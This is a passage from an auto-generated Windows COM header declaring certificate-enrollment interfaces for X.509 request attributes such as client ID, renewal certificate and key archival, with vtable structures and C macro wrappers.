lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        END_INTERFACE\n    } IX509AttributeExtensionsVtbl;\n\n    interface IX509AttributeExtensions\n    {\n        CONST_VTBL struct IX509AttributeExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeExtensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeExtensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeExtensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeExtensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeExtensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeExtensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeExtensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeExtensions_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeExtensions_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeExtensions_InitializeEncode(This,pExtensions)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pExtensions) ) \n\n#define IX509AttributeExtensions_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeExtensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0040 */\n/* [local] */ \n\ntypedef \nenum RequestClientInfoClientId\n    {\n        ClientIdNone\t= 0,\n        ClientIdXEnroll2003\t= 1,\n        ClientIdAutoEnroll2003\t= 2,\n        ClientIdWizard2003\t= 3,\n        ClientIdCertReq2003\t= 4,\n        ClientIdDefaultRequest\t= 5,\n        ClientIdAutoEnroll\t= 6,\n        ClientIdRequestWizard\t= 7,\n        ClientIdEOBO\t= 8,\n        ClientIdCertReq\t= 9,\n        ClientIdTest\t= 10,\n        ClientIdWinRT\t= 11,\n        ClientIdUserStart\t= 1000\n    } \tRequestClientInfoClientId;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0040_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0040_v0_0_s_ifspec;\n\n#ifndef __IX509AttributeClientId_INTERFACE_DEFINED__\n#define __IX509AttributeClientId_INTERFACE_DEFINED__\n\n/* interface IX509AttributeClientId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeClientId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab325-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeClientId : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MachineDnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UserSamName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProcessName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeClientIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeClientId * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineDnsName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UserSamName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProcessName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeClientIdVtbl;\n\n    interface IX509AttributeClientId\n    {\n        CONST_VTBL struct IX509AttributeClientIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeClientId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeClientId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeClientId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeClientId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeClientId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeClientId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeClientId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeClientId_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeClientId_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeClientId_InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName) ) \n\n#define IX509AttributeClientId_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509AttributeClientId_get_MachineDnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineDnsName(This,pValue) ) \n\n#define IX509AttributeClientId_get_UserSamName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UserSamName(This,pValue) ) \n\n#define IX509AttributeClientId_get_ProcessName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProcessName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeClientId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n#define __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n\n/* interface IX509AttributeRenewalCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeRenewalCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab326-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeRenewalCertificate : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeRenewalCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeRenewalCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeRenewalCertificateVtbl;\n\n    interface IX509AttributeRenewalCertificate\n    {\n        CONST_VTBL struct IX509AttributeRenewalCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeRenewalCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeRenewalCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeRenewalCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeRenewalCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeRenewalCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeRenewalCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeRenewalCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeRenewalCertificate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeRenewalCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeRenewalCertificate_InitializeEncode(This,Encoding,strCert)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strCert) ) \n\n#define IX509AttributeRenewalCertificate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeRenewalCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKey_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab327-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKey : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyVtbl;\n\n    interface IX509AttributeArchiveKey\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKey_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKey_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKey_InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength) ) \n\n#define IX509AttributeArchiveKey_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_EncryptedKeyBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyBlob(This,Encoding,pValue) ) \n\n#define IX509AttributeArchiveKey_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define 